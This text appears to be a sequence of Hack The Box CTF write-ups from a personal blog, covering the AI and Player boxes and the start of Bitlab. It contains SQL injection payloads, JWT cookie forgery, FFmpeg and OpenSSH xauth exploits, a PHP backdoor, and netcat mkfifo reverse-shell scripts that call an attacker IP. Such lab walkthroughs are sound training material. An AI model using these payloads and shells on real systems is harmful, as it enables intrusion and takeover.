2020/01/24 18:57:23 Starting gobuster
===============================================================
----------
REDACTED
----------
/intelligence.php (Status: 200)
----------
REDACTED
----------
===============================================================
2020/01/24 19:00:49 Finished
===============================================================
[email protected]:~/Desktop/HTB/boxes/AI#

It had some instructions on how to use their speech recognition:

I used ttsmp3.com to generate audio files and I created a test file:

But because the application only accepts wav files I converted the mp3 file with ffmpeg:

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[email protected]:~/Desktop/HTB/boxes/AI/test# mv ~/Downloads/ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3 .
[email protected]:~/Desktop/HTB/boxes/AI/test# ffmpeg -i ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3 ttsMP3.com_VoiceText_2020-1-24_19_35_47.wav
ffmpeg version 4.2.1-2+b1 Copyright (c) 2000-2019 the FFmpeg developers
built with gcc 9 (Debian 9.2.1-21)
configuration: --prefix=/usr --extra-version=2+b1 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --enable-avresample --disable-filter=resample --enable-avisynth --enable-gnutls --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-libpulse --enable-librsvg --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzmq --enable-libzvbi --enable-lv2 --enable-omx --enable-openal --enable-opengl --enable-sdl2 --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-libx264 --enable-shared
libavutil 56. 31.100 / 56. 31.100
libavcodec 58. 54.100 / 58. 54.100
libavformat 58. 29.100 / 58. 29.100
libavdevice 58. 8.100 / 58. 8.100
libavfilter 7. 57.100 / 7. 57.100
libavresample 4. 0. 0 / 4. 0. 0
libswscale 5. 5.100 / 5. 5.100
libswresample 3. 5.100 / 3. 5.100
libpostproc 55. 5.100 / 55. 5.100
[mp3 @ 0x55b33e5f88c0] Estimating duration from bitrate, this may be inaccurate
Input #0, mp3, from 'ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3':
Metadata:
encoder : Lavf57.71.100
Duration: 00:00:00.63, start: 0.000000, bitrate: 48 kb/s
Stream #0:0: Audio: mp3, 22050 Hz, mono, fltp, 48 kb/s
Stream mapping:
Stream #0:0 -> #0:0 (mp3 (mp3float) -> pcm_s16le (native))
Press [q] to stop, [?] for help
Output #0, wav, to 'ttsMP3.com_VoiceText_2020-1-24_19_35_47.wav':
Metadata:
ISFT : Lavf58.29.100
Stream #0:0: Audio: pcm_s16le ([1][0][0][0] / 0x0001), 22050 Hz, mono, s16, 352 kb/s
Metadata:
encoder : Lavc58.54.100 pcm_s16le
size= 27kB time=00:00:00.62 bitrate= 353.8kbits/s speed= 146x
video:0kB audio:27kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.282118%
[email protected]:~/Desktop/HTB/boxes/AI/test#

SQL injection –> Alexa’s Credentials –> SSH as Alexa –> User Flag

As I said earlier, we don’t know what does it mean by “query” but it can be a SQL query. When I created another audio file that says it's a test I got a SQL error because of ' in it's:

The injection part was the hardest part of this box because it didn’t process the audio files correctly most of the time, and it took me a lot of time to get my payloads to work.
First thing I did was to get the database name.
Payload:

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one open single quote union select database open parenthesis close parenthesis comment database


The database name was alexa, next thing I did was enumerating table names, my payload was like the one shown below and I kept changing the test after from and tried possible and common things.
Payload:

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one open single quote union select test from test comment database


The table users existed.
Payload:

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one open single quote union select test from users comment database


From here it was easy to guess the column names, username and password. The problem with username was that it processed user and name as two different words so I couldn’t make it work.
Payload:

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one open single quote union select username from users comment database


password worked just fine.
Payload:

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one open single quote union select password from users comment database


Without knowing the username we can’t do anything with the password, I tried alexa which was the database name and it worked:

We owned user.

JDWP –> Code Execution –> Root Shell –> Root Flag

Privilege escalation on this box was very easy, when I checked the running processes I found this one:

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[email protected]:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
----------
REDACTED
----------
root 89984 18.8 5.4 3137572 110120 ? Sl 22:44 0:06 /usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-9.0.27/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/apache-tomcat-9.0.27/bin/bootstrap.jar:/opt/apache-tomcat-9.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/apache-tomcat-9.0.27 -Dcatalina.home=/opt/apache-tomcat-9.0.27 -Djava.io.tmpdir=/opt/apache-tomcat-9.0.27/temp org.apache.catalina.startup.Bootstrap start
----------
REDACTED
----------
[email protected]:~$

This was related to an Apache Tomcat server that was running on localhost, I looked at that server for about 10 minutes but it was empty and I couldn’t do anything there, it was a rabbit hole. If we check the listening ports we’ll see 8080, 8005 and 8009 which is perfectly normal because these are the ports used by tomcat, but we’ll also see 8000:

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[email protected]:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN -
tcp6 0 0 127.0.0.1:8009 :::* LISTEN -
[email protected]:~$

A quick search on that port and how it’s related to tomcat revealed that it’s used for debugging, jdwp is running on that port.

The Java Debug Wire Protocol (JDWP) is the protocol used for communication between a debugger and the Java virtual machine (VM) which it debugs (hereafter called the target VM). -docs.oracle.com

By looking at the process again we can also see this parameter given to the java binary:

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-agentlib:jdwp=transport=dt_socket,address=localhost:8000

I searched for exploits for the jdwp service and found this exploit. I uploaded the python script on the box and I added the reverse shell payload to a file and called it pwned.sh then I ran the exploit:

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[email protected]:/dev/shm$ nano pwned.sh 
[email protected]:/dev/shm$ chmod +x pwned.sh
[email protected]:/dev/shm$ cat pwned.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
[email protected]:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh
[+] Targeting '127.0.0.1:8000'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'
[+] Found Runtime class: id=b8c
[+] Found Runtime.getRuntime(): id=7f40bc03e790
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'

Then from another ssh session I triggered a connection on port 8005:

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[email protected]:~$ nc localhost 8005

And the code was executed:

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[email protected]:/dev/shm$ nano pwned.sh 
[email protected]:/dev/shm$ chmod +x pwned.sh
[email protected]:/dev/shm$ cat pwned.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
[email protected]:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh
[+] Targeting '127.0.0.1:8000'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'
[+] Found Runtime class: id=b8c
[+] Found Runtime.getRuntime(): id=7f40bc03e790
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
[+] Received matching event from thread 0x1
[+] Selected payload '/dev/shm/pwned.sh'
[+] Command string object created id:c31
[+] Runtime.getRuntime() returned context id:0xc32
[+] found Runtime.exec(): id=7f40bc03e7c8
[+] Runtime.exec() successful, retId=c33
[!] Command successfully executed
[email protected]:/dev/shm$

And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Player

Hack The Box - Player

18 January 2020 at 03:00

Hack The Box - Player

Quick Summary

Hey guys, today Player retired and here’s my write-up about it. It was a relatively hard CTF-style machine with a lot of enumeration and a couple of interesting exploits. It’s a Linux box and its ip is 10.10.10.145, I added it to /etc/hosts as player.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

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[email protected]:~/Desktop/HTB/boxes/player# nmap -sV -sT -sC -o nmapinitial player.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 16:29 EST
Nmap scan report for player.htb (10.10.10.145)
Host is up (0.35s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
| 2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
| 256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_ 256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)
80/tcp open http Apache httpd 2.4.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.12 seconds
[email protected]:~/Desktop/HTB/boxes/player#

We got http on port 80 and ssh on port 22.

Web Enumeration

I got a 403 response when I went to http://player.htb/:

I used wfuzz with subdomains-top1mil-5000.txt from seclists to enumerate virtual hosts and got these results:

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[email protected]:~/Desktop/HTB/boxes/player# wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.145/
Total requests: 4997
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000019: 200 86 L 229 W 5243 Ch "dev"
000000067: 200 63 L 180 W 1470 Ch "staging"
000000070: 200 259 L 714 W 9513 Ch "chat"

Total time: 129.1540
Processed Requests: 4997
Filtered Requests: 4994
Requests/sec.: 38.69021

[email protected]:~/Desktop/HTB/boxes/player#

I added them to my hosts file and started checking each one of them.
On dev there was an application that needed credentials so we’ll skip that one until we find some credentials:

staging was kinda empty but there was an interesting contact form:


The form was interesting because when I attempted to submit it I got a weird error for a second then I got redirected to /501.php:


I intercepted the request with burp to read the error.
Request:

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GET /contact.php?firstname=test&subject=test HTTP/1.1
Host: staging.player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://staging.player.htb/contact.html
Connection: close
Upgrade-Insecure-Requests: 1

Response:

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HTTP/1.1 200 OK
Date: Fri, 17 Jan 2020 19:54:33 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
refresh: 0;url=501.php
Vary: Accept-Encoding
Content-Length: 818
Connection: close
Content-Type: text/html

array(3) {
[0]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(6)
["function"]=>
string(1) "c"
["args"]=>
array(1) {
[0]=>
&string(9) "Cleveland"
}
}
[1]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(3)
["function"]=>
string(1) "b"
["args"]=>
array(1) {
[0]=>
&string(5) "Glenn"
}
}
[2]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(11)
["function"]=>
string(1) "a"
["args"]=>
array(1) {
[0]=>
&string(5) "Peter"
}
}
}
Database connection failed.<html><br />Unknown variable user in /var/www/backup/service_config fatal error in /var/www/staging/fix.php

The error exposed some filenames like /var/www/backup/service_config, /var/www/staging/fix.php and /var/www/staging/contact.php. That will be helpful later.
chat was a static page that simulated a chat application:

I took a quick look at the chat history between Olla and Vincent, Olla asked him about some pentest reports and he replied with 2 interesting things :

  1. Staging exposing sensitive files.
  2. Main domain exposing source code allowing to access the product before release.

We already saw that staging was exposing files, I ran gobuster on the main domain and found /launcher:

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[email protected]:~/Desktop/HTB/boxes/player# gobuster dir -u http://player.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://player.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/01/17 19:17:29 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/launcher (Status: 301)
/server-status (Status: 403)
===============================================================
2020/01/17 19:18:59 Finished
===============================================================
[email protected]:~/Desktop/HTB/boxes/player#

http://player.htb/launcher:

I tried to submit that form but it did nothing, I just got redirected to /launcher again:
Request:

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GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1
Host: player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://player.htb/launcher/index.html
Connection: close
Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IkMwQjEzN0ZFMkQ3OTI0NTlGMjZGRjc2M0NDRTQ0NTc0QTVCNUFCMDMifQ.cjGwng6JiMiOWZGz7saOdOuhyr1vad5hAxOJCiM3uzU
Upgrade-Insecure-Requests: 1

Response:

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HTTP/1.1 302 Found
Date: Fri, 17 Jan 2020 22:45:04 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Location: index.html
Content-Length: 0
Connection: close
Content-Type: text/html

We know from the chat that the source code is exposed somewhere, I wanted to read the source of /launcher/dee8dc8a47256c64630d803a4c40786c.php so I tried some basic stuff like adding .swp, .bak and ~ after the file name. ~ worked (check this out):

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[email protected]:~/Desktop/HTB/boxes/player# curl http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~
<?php
require 'vendor/autoload.php';

use \Firebase\JWT\JWT;

if(isset($_COOKIE["access"]))
{
$key = '[email protected][email protected]_';
$decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']);
if($decoded->access_code === "0E76658526655756207688271159624026011393")
{
header("Location: 7F2xxxxxxxxxxxxx/");
}
else
{
header("Location: index.html");
}
}
else
{
$token_payload = [
'project' => 'PlayBuff',
'access_code' => 'C0B137FE2D792459F26FF763CCE44574A5B5AB03'
];
$key = '[email protected][email protected]_';
$jwt = JWT::encode($token_payload, base64_decode(strtr($key, '-_', '+/')), 'HS256');
$cookiename = 'access';
setcookie('access',$jwt, time() + (86400 * 30), "/");
header("Location: index.html");
}

?>
[email protected]:~/Desktop/HTB/boxes/player#

It decodes the JWT token from the cookie access and redirects us to a redacted path if the value of access_code was 0E76658526655756207688271159624026011393, otherwise it will assign an access cookie for us with C0B137FE2D792459F26FF763CCE44574A5B5AB03 as the value of access_code and redirect us to index.html.
We have the secret [email protected][email protected]_ so we can easily craft a valid cookie. I used jwt.io to edit my token.


I used the cookie and got redirected to /7F2dcsSdZo6nj3SNMTQ1:
Request:

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GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1
Host: player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://player.htb/launcher/index.html
Connection: close
Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IjBFNzY2NTg1MjY2NTU3NTYyMDc2ODgyNzExNTk2MjQwMjYwMTEzOTMifQ.VXuTKqw__J4YgcgtOdNDgsLgrFjhN1_WwspYNf_FjyE
Upgrade-Insecure-Requests: 1

Response:

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HTTP/1.1 302 Found
Date: Fri, 17 Jan 2020 22:50:59 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Location: 7F2dcsSdZo6nj3SNMTQ1/
Content-Length: 0
Connection: close
Content-Type: text/html

FFmpeg HLS Vulnerability –> Arbitrary File Read

I uploaded a test txt file:


I got an avi file as a result which was weird:

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<a href="http:\/\/player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/uploads/518515582.avi">

I tried some other file formats and I also got an avi file.
So I tried the ffmpeg HLS exploit, I created a test avi to read /etc/passwd and it worked:

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[email protected]:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///etc/passwd test.avi
[email protected]:~/Desktop/HTB/boxes/player/avi# file test.avi
test.avi: RIFF (little-endian) data, AVI, 224 x 160, 25.00 fps,
[email protected]:~/Desktop/HTB/boxes/player/avi#


I created 3 more avis to read the files we got earlier from the error message from staging:

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[email protected]:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/contact.php contact.avi
[email protected]:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/backup/service_config service_config.avi
[email protected]:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/fix.php fix.avi
[email protected]:~/Desktop/HTB/boxes/player/avi#

contact.php didn’t have anything interesting and the avi for fix.php was empty for some reason. In service_config there were some credentials for a user called telegen:

I tried these credentials with ssh and with dev.player.htb and they didn’t work. I ran a quick full port scan with masscan and turns out that there was another open port:

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[email protected]:~/Desktop/HTB/boxes/player# masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-18 00:09:24 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 22/tcp on 10.10.10.145
Discovered open port 80/tcp on 10.10.10.145
Discovered open port 6686/tcp on 10.10.10.145

I scanned that port with nmap but it couldn’t identify the service:

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PORT     STATE SERVICE    VERSION
6686/tcp open tcpwrapped

However when I connected to the port with nc the banner indicated that it was an ssh server:

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[email protected]:~/Desktop/HTB/boxes/player# nc player.htb 6686
SSH-2.0-OpenSSH_7.2

Protocol mismatch.
[email protected]:~/Desktop/HTB/boxes/player#

I could login to that ssh server with the credentials, but unfortunately I was in a restricted environment:

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[email protected]:~/Desktop/HTB/boxes/player# ssh [email protected] -p 6686
The authenticity of host '[player.htb]:6686 ([10.10.10.145]:6686)' can't be established.
ECDSA key fingerprint is SHA256:oAcCXvit3SHvyq7nuvWntLq+Q+mGlAg8301zhKnJmPM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[player.htb]:6686,[10.10.10.145]:6686' (ECDSA) to the list of known hosts.
[email protected]'s password:
Last login: Tue Apr 30 18:40:13 2019 from 192.168.0.104
Environment:
USER=telegen
LOGNAME=telegen
HOME=/home/telegen
PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
MAIL=/var/mail/telegen
SHELL=/usr/bin/lshell
SSH_CLIENT=10.10.xx.xx 43270 6686
SSH_CONNECTION=10.10.xx.xx 43270 10.10.10.145 6686
SSH_TTY=/dev/pts/4
TERM=screen
========= PlayBuff ==========
Welcome to Staging Environment

telegen:~$ whoami
*** forbidden command: whoami
telegen:~$ help
clear exit help history lpath lsudo
telegen:~$ lsudo
Allowed sudo commands:
telegen:~$ lpath
Allowed:
/home/telegen
telegen:~$ pwd
*** forbidden command: pwd
telegen:~$

OpenSSH 7.2p1 xauth Command Injection –> User Flag

When I searched for exploits for that version of openssh I found this exploit.

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[email protected]:~/Desktop/HTB/boxes/player# python 39569.py 
Usage: <host> <port> <username> <password or path_to_privkey>

path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key


[email protected]:~/Desktop/HTB/boxes/player# python 39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w'
INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/[email protected]:6686
INFO:__main__:connected!
INFO:__main__:
Available commands:
.info
.readfile <path>
.writefile <path> <data>
.exit .quit
<any xauth command or type help>

#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
telegen:x:1000:1000:telegen,,,:/home/telegen:/usr/bin/lshell
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:113:MySQL
colord:x:106:116:colord
staged-dev:x:4000000000:1001::/home/staged-dev:/bin/sh
#>

I tried to use .writefile to write a php file and get a reverse shell but I couldn’t do that. But anyway I was finally able to read the user flag:

Credentials in fix.php –> RCE –> Shell as www-data

Earlier I couldn’t read fix.php through the ffmpeg exploit, I was able to read it as telegen and I found credentials for a user called peter:

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#> .readfile /var/www/staging/fix.php                                    
DEBUG:__main__:auth_cookie: 'xxxx\nsource /var/www/staging/fix.php\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:<?php
class
protected
protected
protected
public
return
}
public
if($result
static::passed($test_name);
}
static::failed($test_name);
}
}
public
if($result
static::failed($test_name);
}
static::passed($test_name);
}
}
public
if(!$username){
$username
$password
}
//modified
//for
//fix
//peter
//CQXpm\z)G5D#%S$y=
}
public
if($result
static::passed($test_name);
}
static::failed($test_name);
}
}
public
echo
echo
echo
}
private
echo
static::$failed++;
}
private
static::character(".");
static::$passed++;
}
private
echo
static::$last_echoed
}
private
if(static::$last_echoed
echo
static::$last_echoed
}
}
#>

These credentials (peter : CQXpm\z)G5D#%S$y=) worked with dev.player.htb:

I tried to create a new project in /var/www/html:

But I got an error saying that I was only allowed to create projects in /var/www/demo/home so I created a project there:

When I ran gobuster on http://dev.player.htb/ there was a directory called home:

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[email protected]:~/Desktop/HTB/boxes/player# gobuster dir -u http://dev.player.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://dev.player.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/01/17 20:18:00 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/components (Status: 301)
/data (Status: 301)
/favicon.ico (Status: 200)
/home (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/languages (Status: 301)
/lib (Status: 301)
/plugins (Status: 301)
/server-status (Status: 403)
/themes (Status: 301)
===============================================================
2020/01/17 20:19:49 Finished
===============================================================
[email protected]:~/Desktop/HTB/boxes/player#

I wanted to see if that was related to /var/www/demo/home so I created a file called test.php that echoed test and I tried to access it through /home:


It worked so I edited my test file and added the php-simple-backdoor code and got a reverse shell:

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[email protected]:~/Desktop/HTB/boxes/player# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.145] 56714
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/var/www/demo/home$ ^Z
[1]+ Stopped nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/player# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/player# nc -lvnp 1337

[email protected]:/var/www/demo/home$ export TERM=screen
[email protected]:/var/www/demo/home$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/var/www/demo/home$

Root Flag

when I ran pspy to monitor the processes I noticed that /var/lib/playbuff/buff.php got executed as root periodically:

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2020/01/18 05:25:02 CMD: UID=0    PID=3650   | /usr/bin/php /var/lib/playbuff/buff.php

I couldn’t write to it but it included another php file which I could write to (/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php):

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[email protected]:/tmp$ cd /var/lib/playbuff/
[email protected]:/var/lib/playbuff$ cat buff.php
<?php
include("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");
class playBuff
{
public $logFile="/var/log/playbuff/logs.txt";
public $logData="Updated";

public function __wakeup()
{
file_put_contents(__DIR__."/".$this->logFile,$this->logData);
}
}
$buff = new playBuff();
$serialbuff = serialize($buff);
$data = file_get_contents("/var/lib/playbuff/merge.log");
if(unserialize($data))
{
$update = file_get_contents("/var/lib/playbuff/logs.txt");
$query = mysqli_query($conn, "update stats set status='$update' where id=1");
if($query)
{
echo 'Update Success with serialized logs!';
}
}
else
{
file_put_contents("/var/lib/playbuff/merge.log","no issues yet");
$update = file_get_contents("/var/lib/playbuff/logs.txt");
$query = mysqli_query($conn, "update stats set status='$update' where id=1");
if($query)
{
echo 'Update Success!';
}
}
?>
[email protected]:/var/lib/playbuff$

I put my reverse shell payload in /tmp and added a line to /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php that executed it:

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[email protected]:/$ cat /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "integrity";

system("bash -c /tmp/pwned.sh");

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
?>
[email protected]:/$ cat /tmp/pwned.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1338 >/tmp/f
[email protected]:/$


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Bitlab
Next Hack The Box write-up : Hack The Box - AI

Hack The Box - Bitlab

11 January 2020 at 03:00

Hack The Box - Bitlab

Quick Summary

Hey guys, today Bitlab retired and here’s my write-up about it. It was a nice CTF-style machine that mainly had a direct file upload and a simple reverse engineering challenge. It’s a Linux box and its ip is 10.10.10.114, I added it to /etc/hosts as bitlab.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

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[email protected]:~/Desktop/HTB/boxes/bitlab# nmap -sV -sT -sC -o nmapinitial bitlab.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-10 13:44 EST
Nmap scan report for bitlab.htb (10.10.10.114)
Host is up (0.14s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open http nginx
| http-robots.txt: 55 disallowed entries (15 shown)
